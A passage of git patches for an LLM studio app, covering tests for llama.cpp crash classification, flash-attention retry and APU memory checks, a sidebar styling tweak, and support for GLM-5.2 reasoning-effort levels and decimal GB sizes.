+    monkeypatch.setitem(sys.modules, "torch", _fake_torch("6.2.0", ["gfx1100", "gfx1151"]))
+    # Selecting only the dGPU, or an empty selection, must not be unified-memory.
+    assert LlamaCppBackend._amd_apu_wants_unified_memory([0]) is False
+    assert LlamaCppBackend._amd_apu_wants_unified_memory([]) is False
+    # Selecting the APU, or no selection, does.
+    assert LlamaCppBackend._amd_apu_wants_unified_memory([1]) is True
+    assert LlamaCppBackend._amd_apu_wants_unified_memory() is True
+
+
+def test_apu_guard_honors_hip_visible_devices_mask(monkeypatch):
+    # ROCm resolves ids via HIP first: the mask exposes only the APU as ordinal 0
+    # but physical id 1, so the selection [1] must still match.
+    monkeypatch.delenv("CUDA_VISIBLE_DEVICES", raising = False)
+    monkeypatch.delenv("ROCR_VISIBLE_DEVICES", raising = False)
+    monkeypatch.setenv("HIP_VISIBLE_DEVICES", "1")
+    monkeypatch.setitem(sys.modules, "torch", _fake_torch("6.2.0", ["gfx1151"]))
+    assert LlamaCppBackend._amd_apu_wants_unified_memory([1]) is True
+    assert LlamaCppBackend._amd_apu_wants_unified_memory([0]) is False
+
+
 def test_cpu_no_cuda_returns_false(monkeypatch):
     monkeypatch.setitem(sys.modules, "torch", _fake_torch("6.2.0", [], cuda_ok = False))
     assert LlamaCppBackend._amd_apu_wants_unified_memory() is False
@@ -55,3 +79,39 @@ def test_cpu_no_cuda_returns_false(monkeypatch):
 def test_missing_torch_returns_false(monkeypatch):
     monkeypatch.setitem(sys.modules, "torch", None)
     assert LlamaCppBackend._amd_apu_wants_unified_memory() is False
+
+
+_GB = 1024**3
+_MIB_PER_GB = 1024
+# Module-level (not a class attr) so it stays a plain function, not a bound method.
+_shortfall = LlamaCppBackend._apu_ram_shortfall_message
+
+
+class TestApuRamShortfall:
+    """On a unified-memory APU the weights load into system RAM, so a model
+    larger than available RAM (the field case: a 64.6 GB GGUF on a WSL VM capped
+    well below the ROCm-reported APU budget) must be refused before spawning,
+    not left to OOM-kill the Studio process."""
+
+    def test_field_case_wsl_cap_refuses(self):
+        # 64.6 GB weights, ~46 GB available (WSL VM): refuse with guidance.
+        msg = _shortfall(int(64.6 * _GB), 46 * _MIB_PER_GB)
+        assert msg is not None
+        assert "65 GB" in msg and "46 GB" in msg
+        assert ".wslconfig" in msg
+
+    def test_bare_metal_fits_allows(self):
+        # Same model, ~92 GB available (no WSL cap): allow.
+        assert _shortfall(int(64.6 * _GB), 92 * _MIB_PER_GB) is None
+
+    def test_unknown_available_never_refuses(self):
+        assert _shortfall(int(64.6 * _GB), None) is None
+
+    def test_boundary_at_headroom(self):
+        # 20 GB weights, headroom 2 GB. avail 23 GB -> fits; 21 GB -> refuse.
+        assert _shortfall(20 * _GB, 23 * _MIB_PER_GB) is None
+        assert _shortfall(20 * _GB, 21 * _MIB_PER_GB) is not None
+
+    def test_available_system_memory_is_int_or_none(self):
+        v = LlamaCppBackend._available_system_memory_mib()
+        assert v is None or (isinstance(v, int) and v > 0)
diff --git a/studio/backend/tests/test_llama_cpp_mmproj_fallback.py b/studio/backend/tests/test_llama_cpp_mmproj_fallback.py
index 6ef94545fe..04d4aac9e1 100644
--- a/studio/backend/tests/test_llama_cpp_mmproj_fallback.py
+++ b/studio/backend/tests/test_llama_cpp_mmproj_fallback.py
@@ -40,6 +40,9 @@ from core.inference.llama_cpp import LlamaCppBackend  # noqa: E402
 
 _detect = LlamaCppBackend._is_projector_incompatibility
 _strip = LlamaCppBackend._strip_mmproj_args
+_signal_crash = LlamaCppBackend._is_signal_crash
+_flash_off = LlamaCppBackend._with_flash_attn_off
+_nonproj = LlamaCppBackend._output_has_nonprojector_diagnostic
 
 # Real abort captured loading gemma-4 on a 3-day-old prebuilt (build b9496).
 _GEMMA4_OLD_LLAMACPP_OUT = (
@@ -103,6 +106,20 @@ class TestProjectorIncompatibilityDetector:
         assert _detect(out) is False
 
 
+class TestSignalCrashDetector:
+    """_is_signal_crash flags a hard fault (SIGSEGV/SIGABRT/SIGILL/SIGFPE/SIGBUS
+    or a Windows 0xC0000000+ fault); not a clean exit, hung (None), or an
+    external kill (SIGKILL/SIGTERM/SIGINT) that an OOM/unload would cause."""
+
+    @pytest.mark.parametrize("rc", [-11, -6, -4, -7, -8, 0xC0000005, 0xC000001D])
+    def test_program_faults_are_hard_crashes(self, rc):
+        assert _signal_crash(rc) is True
+
+    @pytest.mark.parametrize("rc", [0, 1, 2, 137, None, -9, -15, -2])
+    def test_clean_hung_or_external_kill_is_not(self, rc):
+        assert _signal_crash(rc) is False
+
+
 # A realistic vision launch argv (mirrors the live "Starting llama-server"
 # command), projector pair at the end.
 _VISION_CMD = [
@@ -170,6 +187,99 @@ class TestStripMmprojArgs:
         assert cmd[-1] == "/p/mm.gguf"  # input untouched
 
 
+class TestFlashAttnOff:
+    """_with_flash_attn_off is the least-destructive recovery rung: flip
+    '--flash-attn on' to 'off' (keeps vision + MTP), or None when there is
+    nothing to disable."""
+
+    def test_flips_on_to_off_keeping_vision_and_mtp(self):
+        out = _flash_off(_VISION_CMD)
+        assert out is not None
+        # FA disabled, every other capability (mmproj, MTP, ctx) preserved.
+        i = out.index("--flash-attn")
+        assert out[i + 1] == "off"
+        assert "--mmproj" in out and "--spec-default" in out
+        assert len(out) == len(_VISION_CMD)
+
+    def test_none_when_already_off(self):
+        assert _flash_off(["llama-server", "--flash-attn", "off", "-c", "4096"]) is None
+
+    def test_none_when_no_flash_attn(self):
+        assert _flash_off(["llama-server", "-m", "/m.gguf", "-c", "4096"]) is None
+
+    def test_returns_new_list_input_untouched(self):
+        cmd = ["llama-server", "--flash-attn", "on"]
+        out = _flash_off(cmd)
+        assert out == ["llama-server", "--flash-attn", "off"]
+        assert cmd[-1] == "on"  # input not mutated
+
+    def test_flips_equals_form(self):
+        out = _flash_off(["llama-server", "--flash-attn=on", "-c", "4096"])
+        assert out == ["llama-server", "--flash-attn=off", "-c", "4096"]
+
+    def test_flips_fa_alias_and_auto(self):
+        assert _flash_off(["llama-server", "-fa", "auto"]) == ["llama-server", "-fa", "off"]
+        assert _flash_off(["llama-server", "-fa=on"]) == ["llama-server", "-fa=off"]
+
+    def test_flips_every_occurrence_last_wins(self):
+        # extra_args can re-enable FA after Studio's flag; llama.cpp is last-wins,
+        # so one leftover 'on' would re-crash the retry. Every enable must flip.
+        cmd = ["llama-server", "--flash-attn", "on", "--mmproj", "/p", "--flash-attn", "on"]
+        out = _flash_off(cmd)
+        assert out is not None
+        assert "on" not in out
+        assert out.count("off") == 2
+
+    def test_none_when_equals_off(self):
+        assert _flash_off(["llama-server", "--flash-attn=off"]) is None
+
+    def test_none_when_user_off_wins_last(self):
+        # User appended 'off' after Studio's 'on'; effective (last-wins) is off,
+        # so there is nothing to retry.
+        assert _flash_off(["llama-server", "--flash-attn", "on", "--flash-attn", "off"]) is None
+
+    def test_neutralizes_trailing_bare_flag(self):
+        # A bare --flash-attn reads as on under last-wins; it must be neutralized
+        # too, else the retry re-enables FA and re-crashes.
+        out = _flash_off(["llama-server", "--flash-attn", "on", "--flash-attn"])
+        assert out == ["llama-server", "--flash-attn", "off", "--flash-attn=off"]
+        assert "on" not in out
+
+    def test_bare_flag_only(self):
+        assert _flash_off(["llama-server", "--flash-attn"]) == ["llama-server", "--flash-attn=off"]
+        assert _flash_off(["llama-server", "-fa"]) == ["llama-server", "-fa=off"]
+
+
+class TestNonProjectorDiagnostic:
+    """_output_has_nonprojector_diagnostic gates the signal-only text-only retry:
+    a hard crash that already names OOM / a bad arch / a TP limit must surface
+    that error, not be silently downgraded to a non-vision session."""
+
+    @pytest.mark.parametrize(
+        "out",
+        [
+            _OOM_OUT,
+            _BAD_ARCH_OUT,
+            "ggml_backend_cuda_buffer_type_alloc: failed to allocate buffer",
+            "split_mode_tensor not implemented for this architecture",
+        ],
+    )
+    def test_known_nonprojector_causes_match(self, out):
+        assert _nonproj(out) is True
+
+    @pytest.mark.parametrize(
+        "out",
+        [
+            "",  # bare crash: no marker -> still eligible for the text-only retry
+            _GEMMA4_OLD_LLAMACPP_OUT,  # a real projector abort must NOT be suppressed
+            _HEALTHY_VISION_OUT,
+            _PORT_OUT,
+        ],
+    )
+    def test_bare_or_projector_output_does_not_match(self, out):
+        assert _nonproj(out) is False
+
+
 class TestRetryContract:
     """The two helpers compose into the load_model retry decision."""
 
@@ -185,3 +295,43 @@ class TestRetryContract:
         # An OOM with --mmproj present must NOT be treated as a projector
         # problem: load_model errors out instead of dropping vision.
         assert _detect(_OOM_OUT) is False
+
+    def test_bare_segfault_with_mmproj_yields_text_only_retry(self):
+        # Field report: a -11 SIGSEGV on --mmproj has no projector line; the
+        # signal path fires only when no other diagnostic explains the crash.
+        out = ""  # a SIGSEGV produced no projector-format line
+        assert _detect(out) is False
+        should_retry = _detect(out) or (_signal_crash(-11) and not _nonproj(out))
+        assert should_retry is True
+        retry_cmd = _strip(_VISION_CMD)
+        assert "--mmproj" not in retry_cmd and "-m" in retry_cmd
+
+    def test_signal_crash_with_oom_output_keeps_the_real_error(self):
+        # A hard fault that already printed an OOM must surface it, not silently
+        # drop --mmproj and tell the user to update llama.cpp.
+        assert _signal_crash(-6) is True
+        should_retry = _detect(_OOM_OUT) or (_signal_crash(-6) and not _nonproj(_OOM_OUT))
+        assert should_retry is False
+
+    def test_signal_crash_with_bad_arch_does_not_drop_vision(self):
+        should_retry = _detect(_BAD_ARCH_OUT) or (_signal_crash(-6) and not _nonproj(_BAD_ARCH_OUT))
+        assert should_retry is False
+
+    def test_clean_nonzero_exit_with_mmproj_does_not_retry(self):
+        # Clean non-zero exit (bad path, port bind) is not a hard crash; stay message-based.
+        assert (_detect(_MISSING_OUT) or _signal_crash(1)) is False
+
+    def test_signal_crash_tries_flash_attn_off_before_dropping_vision(self):
+        # Ladder order: a hard fault retries FA-off FIRST (keeps vision + MTP);
+        # only if THAT is None/fails do we fall back to stripping --mmproj.
+        assert _signal_crash(-11) is True
+        fa_retry = _flash_off(_VISION_CMD)
+        assert fa_retry is not None
+        assert "--mmproj" in fa_retry  # vision preserved at this rung
+        # Last resort still available and strictly more destructive.
+        text_only = _strip(fa_retry)
+        assert "--mmproj" not in text_only
+
+    def test_external_kill_skips_flash_attn_retry(self):
+        # SIGKILL (-9, OOM killer) is not a program fault: no FA-off retry.
+        assert _signal_crash(-9) is False
diff --git a/studio/backend/tests/test_llama_cpp_start_failure_classification.py b/studio/backend/tests/test_llama_cpp_start_failure_classification.py
index 8d88a61ae3..6b26121cf8 100644
--- a/studio/backend/tests/test_llama_cpp_start_failure_classification.py
+++ b/studio/backend/tests/test_llama_cpp_start_failure_classification.py
@@ -139,3 +139,35 @@ class TestOllamaAndFallback:
     def test_empty_output_is_safe(self):
         msg = _classify("", None, None)
         assert "llama-server failed to start" in msg
+
+
+class TestOsKillReturncode:
+    """SIGKILL (-9) with no diagnostic output is the OOM killer and gets a named,
+    actionable message; SIGTERM (-15) is also unload/cancel/supervisor stop, so it
+    stays neutral; a recognized output still wins; a hard fault (-11) keeps the
+    generic fallback."""
+
+    def test_sigkill_with_no_output_names_oom(self):
+        msg = _classify("", "/models/big-bf16.gguf", "local/big", -9)
+        assert "signal 9" in msg
+        assert "out of memory" in msg.lower()
+        assert ".wslconfig" in msg
+        assert "GGUF file is valid" not in msg
+
+    def test_sigterm_is_neutral_not_oom(self):
+        msg = _classify("", "/models/big-bf16.gguf", "local/big", -15)
+        assert "signal 15" in msg
+        assert "terminated" in msg.lower()
+        assert "out of memory" not in msg.lower()
+
+    def test_specific_output_wins_over_os_kill_code(self):
+        msg = _classify(_QWEN_IMAGE_OUT, "/models/qwen-image.gguf", "local/qwen-image", -9)
+        assert "diffusion" in msg.lower()
+        assert "out of memory" not in msg.lower()
+
+    def test_signal_crash_code_keeps_generic_message(self):
+        # -11 is handled by the retry ladder; if it reaches here with no output
+        # it gets the generic fallback, not the OOM message.
+        msg = _classify("", "/models/x.gguf", "local/x", -11)
+        assert "GGUF file is valid" in msg
+        assert "out of memory" not in msg.lower()
diff --git a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py
index 4ddd0224a2..5b1138ef09 100644
--- a/studio/backend/tests/test_tensor_parallel.py
+++ b/studio/backend/tests/test_tensor_parallel.py
@@ -270,16 +270,18 @@ def test_proportional_tensor_split_is_emitted_in_tensor_mode():
 def test_mtp_decode_probe_wired_under_tensor_parallel():
     # MTP-draft can pass /health and crash the CUDA FA kernel only on the first
     # decode under --split-mode tensor. Rather than statically banning MTP+TP
-    # (which a future llama.cpp may support), load_model probes a decode and
-    # routes a failure into the existing MTP-drop fallback.
+    # (which a future llama.cpp may support), load_model probes a decode; a hard
+    # fault retries --flash-attn off first, else routes into the MTP-drop fallback.
     src = _load_model_source()
     probe = src.find("_probe_mtp_decode()")
     assert probe != -1, "load_model must decode-probe MTP under tensor parallelism"
     # Gated on tensor mode AND an MTP request (ordinary MTP loads stay unprobed).
     guard = src[max(0, probe - 400) : probe]
     assert "self._tensor_parallel" in guard and "_spec_requested_mtp" in guard
-    # A failed probe flips healthy so the shared MTP-drop fallback fires.
-    assert "healthy = False" in src[probe : probe + 400]
+    # A hard fault retries FA-off (keeps MTP) before flipping healthy so the
+    # shared MTP-drop fallback fires.
+    after = src[probe : probe + 900]
+    assert "_with_flash_attn_off" in after and "healthy = False" in after
     fallback = src.find("if not healthy and _spec_requested_mtp")
     assert 0 <= probe < fallback, "the probe must precede the MTP-drop fallback"
 

From 830423fc038283eafdf1d2c5962541f88356aef3 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Thu, 18 Jun 2026 09:13:28 -0700
Subject: [PATCH 83/91] Studio: restore sidebar roundness to its pre-#6349
 state (#6446)

* Studio: restore sidebar roundness to its pre-#6349 state

* Studio: keep train recents as a rounded rectangle, not a pill

---------

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
---
 studio/frontend/src/components/app-sidebar.tsx | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 4ca1d466fc..00d6347a64 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -955,7 +955,7 @@ export function AppSidebar() {
                 <button
                   type="button"
                   onClick={togglePinned}
-                  className="inline-flex h-[33px] w-[33px] cursor-pointer items-center justify-center rounded-full text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  className="inline-flex h-[33px] w-[33px] cursor-pointer items-center justify-center rounded-[10px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
                   aria-label={t("shell.aria.closeSidebar")}
                 >
                   <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
@@ -980,7 +980,7 @@ export function AppSidebar() {
                 <button
                   type="button"
                   onClick={togglePinned}
-                  className="inline-flex h-[33px] w-[33px] cursor-pointer items-center justify-center rounded-full text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  className="inline-flex h-[33px] w-[33px] cursor-pointer items-center justify-center rounded-[10px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
                   aria-label={t("shell.aria.openSidebar")}
                 >
                   <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
@@ -1332,7 +1332,7 @@ export function AppSidebar() {
                 <SidebarMenuButton
                   size="lg"
                   aria-label={t("shell.accountMenu", { name: displayTitle })}
-                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] px-2 py-[3px] rounded-[5px] group-data-[collapsible=icon]:!size-[34px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:!p-0 group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:justify-center"
+                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] px-2 py-[3px] rounded-[14px] group-data-[collapsible=icon]:!size-[34px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:!p-0 group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:justify-center"
                 >
                   <div className="flex shrink-0 items-center">
                     <UserAvatar

From 0c1127cb08646e96f0854cf2b05e5e9fd79aba2f Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 10:10:01 -0700
Subject: [PATCH 84/91] Studio: Bypass Permissions menu fix, decimal GB sizes,
 and GLM-5.2 high/max/disabled thinking (#6444)

* Studio: fix Bypass Permissions menu freeze and show decimal GB for model sizes

Bypass Permissions freeze: the warning dialog lived inside the composer
"+"/More dropdown and kept the menu mounted via onSelect preventDefault,
so confirming or cancelling the dialog left both popovers frozen open.
Lift the dialog out of the menu into a store-driven
BypassPermissionsConfirmDialog mounted at a stable spot in the composer.
The menu item now closes normally on select and just toggles a new
bypassConfirmOpen store flag, so the popovers dismiss as expected.

Model search sizes: formatBytes divided bytes by 1024 but labelled the
result "GB", so unsloth/GLM-5.2-GGUF:UD-IQ1_S showed 201.8 GB where
Hugging Face reports 217 GB. Switch the search display to decimal
(base-1000) units to match what Hugging Face reports. The GPU-fit math
stays base-1024 since VRAM capacity is binary.

* Studio: address review feedback and add GLM-5.2 high/max/disabled thinking

Review feedback on the Bypass Permissions and size-format changes:

- Mount the Bypass Permissions warning dialog once at the chat-page root
  instead of inside each Composer. It is driven by global store state, so
  the per-composer mount meant Compare mode (multiple composers) rendered
  duplicate dialogs and the shared-composer menu had none. A single root
  mount fixes both.
- Defer opening the dialog past Radix's menu-close focus restoration with
  setTimeout(0), so the dropdown does not steal focus back and break the
  dialog's focus trap.
- Clamp the unit index in formatBytes so units[i] cannot go out of bounds
  past TB (and to absorb log() float error at exact powers of 1000).

GLM-5.2 reasoning levels:

GLM-5.2's template gates thinking with enable_thinking and also reads a
reasoning_effort level ('high' or 'max'), so it needs high / max /
disabled rather than the binary toggle it got before (its style was
detected as enable_thinking, which made 'high' unreachable). Add a new
reasoning style 'enable_thinking_effort' that reuses the effort dropdown
but, unlike gpt-oss, can be fully disabled:

- detect_reasoning_flags classifies a template that has both
  enable_thinking and reasoning_effort, extracting the discrete levels
  from the quoted effort literals it branches on. Templates with only one
  of the two (gpt-oss, Qwen3, DeepSeek, GLM-4.6) are unchanged.
- _request_reasoning_kwargs maps the new style to enable_thinking plus an
  in-range reasoning_effort; disabling sends enable_thinking=false. The
  gpt-oss reasoning_effort path is left untouched.
- The backend reports reasoning_effort_levels on the load/status response;
  the frontend carries them through to the effort dropdown and sends
  enable_thinking + reasoning_effort for this style.

Verified: backend reasoning kwargs render the real GLM-5.2 template to
"Reasoning Effort: High/Max" (thinking) and an empty <think></think>
(disabled); tsc, eslint, i18n parity and the production build all pass.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address review feedback on reasoning effort and formatBytes

- chat-adapter localReasoningEffort: accept 'minimal' so a template that
  branches on it (extracted into reasoning_effort_levels) is sent through
  instead of being coerced to 'low' and then dropped by the backend.
- formatBytes: return '0 B' for non-finite / non-positive sizes (missing
  metadata -> NaN, Infinity, negatives) and clamp the unit index lower
  bound to 0, so sub-1-byte values can't produce a negative index.

* Studio: hybrid reasoning none gate and decimal GB in load progress

- _request_reasoning_kwargs: for enable_thinking_effort models, treat a
  raw reasoning_effort='none' (OpenAI 'no reasoning' sentinel) as the
  enable_thinking=false off gate, so a direct API caller can disable
  thinking even without passing enable_thinking. The frontend already
  sends enable_thinking=false; this only affects raw API callers.
- use-chat-model-runtime: the download / 'X of Y GB in memory' load
  progress divided bytes by 1024**3 but labelled GB, so it disagreed with
  the model picker and Hugging Face. Use decimal GB (1e9) to match.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: carry hybrid reasoning levels on all load paths and harden formatBytes

Review follow-ups on the enable_thinking_effort work:

- Every model-load path now copies reasoning_effort_levels and derives
  supportsReasoningOff, via a shared reasoningCapsFromLoad() helper. The
  shared/Compare composer load and the three chat-adapter auto-load paths
  previously set only reasoningStyle, so a GLM-style hybrid model loaded
  through Compare or first-chat auto-load fell back to the default
  low|medium|high and lost its Max / Off controls.
- The local send path clamps the effort to the loaded model's advertised
  levels (clampReasoningEffortToLevels) instead of a hard-coded list. A
  stale "max" carried over from an external provider no longer reaches a
  pure reasoning_effort (gpt-oss) model that only accepts none|low|medium|
  high, where the backend would have dropped it.
- formatBytes divides iteratively instead of via Math.log, which has float
  error at exact powers of 1000 (log(1e12)/log(1000) = 3.9999... would
  label 1 TB as "1000 GB"). Keeps the non-finite/non-positive guard.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    |  72 ++++++++++-
 studio/backend/models/inference.py            |  24 +++-
 studio/backend/routes/inference.py            |   7 ++
 .../assistant-ui/model-selector/pickers.tsx   |  18 ++-
 .../src/components/assistant-ui/thread.tsx    |   6 +-
 .../src/features/chat/api/chat-adapter.ts     |  51 +++++---
 .../chat/bypass-permissions-menu-item.tsx     | 117 ++++++++++--------
 .../frontend/src/features/chat/chat-page.tsx  |   7 ++
 .../chat/hooks/use-chat-model-runtime.ts      |  31 +++--
 .../lib/apply-inference-status-to-store.ts    |  50 +++++++-
 .../features/chat/provider-capabilities.ts    |   5 +-
 .../src/features/chat/shared-composer.tsx     |   9 +-
 .../chat/stores/chat-runtime-store.ts         |  15 ++-
 .../frontend/src/features/chat/types/api.ts   |   6 +-
 14 files changed, 319 insertions(+), 99 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 92cc2c748c..403ace3ff3 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -552,6 +552,27 @@ _TOOL_TEMPLATE_MARKERS = (
 )
 
 
+# Canonical reasoning_effort levels, weakest -> strongest. Used to read the
+# discrete set a template branches on (e.g. GLM-5.2 uses 'high' | 'max') so we
+# only ever offer levels the template actually understands.
+_REASONING_EFFORT_SCALE = ("minimal", "low", "medium", "high", "max")
+
+
+def _extract_reasoning_effort_levels(chat_template: str) -> list:
+    """Return the reasoning_effort levels a template references, in canonical
+    (weakest -> strongest) order.
+
+    Looks for the quoted literals (e.g. ``'high'`` / ``"max"``) the template
+    compares ``reasoning_effort`` against, so we surface exactly the levels it
+    branches on and nothing else.
+    """
+    return [
+        level
+        for level in _REASONING_EFFORT_SCALE
+        if f"'{level}'" in chat_template or f'"{level}"' in chat_template
+    ]
+
+
 def detect_reasoning_flags(
     chat_template: Optional[str],
     model_identifier: Optional[str] = None,
@@ -571,6 +592,7 @@ def detect_reasoning_flags(
         "supports_reasoning": False,
         "reasoning_style": "enable_thinking",
         "reasoning_always_on": False,
+        "reasoning_effort_levels": [],
         "supports_preserve_thinking": False,
         "supports_tools": False,
     }
@@ -579,7 +601,25 @@ def detect_reasoning_flags(
     tpl = chat_template
     prefix = f"{log_source}: " if log_source else ""
 
-    if "enable_thinking" in tpl:
+    effort_levels = (
+        _extract_reasoning_effort_levels(tpl)
+        if ("reasoning_effort" in tpl and "enable_thinking" in tpl)
+        else []
+    )
+    if "enable_thinking" in tpl and "reasoning_effort" in tpl and effort_levels:
+        # GLM-5.2-style: an enable_thinking on/off gate PLUS a reasoning_effort
+        # level among a discrete set (e.g. 'high' | 'max'). Distinct from
+        # gpt-oss (reasoning_effort only, no on/off gate) and Qwen
+        # (enable_thinking only). Disabling is enable_thinking=false; the levels
+        # are the quoted effort literals the template actually branches on.
+        flags["supports_reasoning"] = True
+        flags["reasoning_style"] = "enable_thinking_effort"
+        flags["reasoning_effort_levels"] = effort_levels
+        logger.info(
+            f"{prefix}model supports reasoning "
+            f"(enable_thinking + reasoning_effort: {effort_levels})"
+        )
+    elif "enable_thinking" in tpl:
         flags["supports_reasoning"] = True
         flags["reasoning_style"] = "enable_thinking"
         logger.info(f"{prefix}model supports reasoning (enable_thinking)")
@@ -1185,6 +1225,7 @@ class LlamaCppBackend:
         self._supports_reasoning: bool = False
         self._reasoning_always_on: bool = False
         self._reasoning_style: str = "enable_thinking"
+        self._reasoning_effort_levels: list = []
         self._supports_preserve_thinking: bool = False
         self._supports_tools: bool = False
         self._cache_type_kv: Optional[str] = None
@@ -1468,6 +1509,12 @@ class LlamaCppBackend:
     def reasoning_style(self) -> str:
         return self._reasoning_style
 
+    @property
+    def reasoning_effort_levels(self) -> list:
+        """Discrete reasoning_effort levels the template offers (e.g. GLM-5.2's
+        ['high', 'max']). Empty unless reasoning_style == 'enable_thinking_effort'."""
+        return self._reasoning_effort_levels
+
     @property
     def supports_preserve_thinking(self) -> bool:
         return self._supports_preserve_thinking
@@ -1477,6 +1524,10 @@ class LlamaCppBackend:
         return self._reasoning_default
 
     def _reasoning_kwargs(self, enable_thinking: bool) -> dict:
+        if self._reasoning_style == "enable_thinking_effort":
+            # GLM-5.2-style: enable_thinking is the on/off gate; when on, leave
+            # the template's default effort (max) in place.
+            return {"enable_thinking": enable_thinking}
         if self._reasoning_style == "reasoning_effort":
             return {"reasoning_effort": "high" if enable_thinking else "low"}
         return {"enable_thinking": enable_thinking}
@@ -1497,7 +1548,20 @@ class LlamaCppBackend:
         # Always-on reasoning models hardcode <think> tags and don't consume
         # enable_thinking / reasoning_effort -- skip.
         if self._supports_reasoning and not self._reasoning_always_on:
-            if self._reasoning_style == "reasoning_effort":
+            if self._reasoning_style == "enable_thinking_effort":
+                # GLM-5.2-style: enable_thinking gates thinking on/off, and the
+                # reasoning_effort level (e.g. 'high' | 'max') is only meaningful
+                # while thinking is on. Disabling is enable_thinking=false; a raw
+                # API caller can also disable via the OpenAI-style
+                # reasoning_effort="none" sentinel. We never coerce off into a
+                # 'low' effort the way gpt-oss does (those models genuinely
+                # cannot disable).
+                thinking_off = enable_thinking is False or reasoning_effort == "none"
+                if enable_thinking is not None or reasoning_effort == "none":
+                    kwargs["enable_thinking"] = not thinking_off
+                if not thinking_off and reasoning_effort in self._reasoning_effort_levels:
+                    kwargs["reasoning_effort"] = reasoning_effort
+            elif self._reasoning_style == "reasoning_effort":
                 if reasoning_effort in ("none", "low", "medium", "high"):
                     kwargs["reasoning_effort"] = reasoning_effort
                 elif reasoning_effort == "minimal":
@@ -3071,6 +3135,7 @@ class LlamaCppBackend:
         self._supports_reasoning = False
         self._reasoning_always_on = False
         self._reasoning_style = "enable_thinking"
+        self._reasoning_effort_levels = []
         self._reasoning_default = True
         self._supports_preserve_thinking = False
         self._supports_tools = False
@@ -3290,6 +3355,7 @@ class LlamaCppBackend:
                 )
                 self._supports_reasoning = flags["supports_reasoning"]
                 self._reasoning_style = flags["reasoning_style"]
+                self._reasoning_effort_levels = flags.get("reasoning_effort_levels", [])
                 self._reasoning_always_on = flags["reasoning_always_on"]
                 self._supports_preserve_thinking = flags["supports_preserve_thinking"]
                 self._supports_tools = flags["supports_tools"]
@@ -5399,6 +5465,7 @@ class LlamaCppBackend:
                     )
                     self._supports_reasoning = flags["supports_reasoning"]
                     self._reasoning_style = flags["reasoning_style"]
+                    self._reasoning_effort_levels = flags.get("reasoning_effort_levels", [])
                     self._reasoning_always_on = flags["reasoning_always_on"]
                     self._supports_preserve_thinking = flags["supports_preserve_thinking"]
                     self._supports_tools = flags["supports_tools"]
@@ -6388,6 +6455,7 @@ class LlamaCppBackend:
             self._supports_reasoning = False
             self._reasoning_always_on = False
             self._reasoning_style = "enable_thinking"
+            self._reasoning_effort_levels = []
             self._reasoning_default = True
             self._supports_preserve_thinking = False
             self._supports_tools = False
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 3c6ccd70a8..c9b10fcfc2 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -220,9 +220,15 @@ class LoadResponse(BaseModel):
         False,
         description = "Whether model supports thinking/reasoning mode (enable_thinking or reasoning_effort)",
     )
-    reasoning_style: Literal["enable_thinking", "reasoning_effort"] = Field(
-        "enable_thinking",
-        description = "Reasoning control style: 'enable_thinking' (boolean) or 'reasoning_effort' (low|medium|high)",
+    reasoning_style: Literal["enable_thinking", "reasoning_effort", "enable_thinking_effort"] = (
+        Field(
+            "enable_thinking",
+            description = "Reasoning control style: 'enable_thinking' (boolean), 'reasoning_effort' (low|medium|high), or 'enable_thinking_effort' (on/off gate plus an effort level, e.g. GLM-5.2 high|max)",
+        )
+    )
+    reasoning_effort_levels: List[str] = Field(
+        default_factory = list,
+        description = "Discrete reasoning_effort levels the template offers when reasoning_style is 'enable_thinking_effort' (e.g. ['high', 'max']); empty otherwise",
     )
     reasoning_always_on: bool = Field(
         False,
@@ -332,9 +338,15 @@ class InferenceStatusResponse(BaseModel):
     supports_reasoning: bool = Field(
         False, description = "Whether the active model supports reasoning/thinking mode"
     )
-    reasoning_style: Literal["enable_thinking", "reasoning_effort"] = Field(
-        "enable_thinking",
-        description = "Reasoning control style: 'enable_thinking' (boolean) or 'reasoning_effort' (low|medium|high)",
+    reasoning_style: Literal["enable_thinking", "reasoning_effort", "enable_thinking_effort"] = (
+        Field(
+            "enable_thinking",
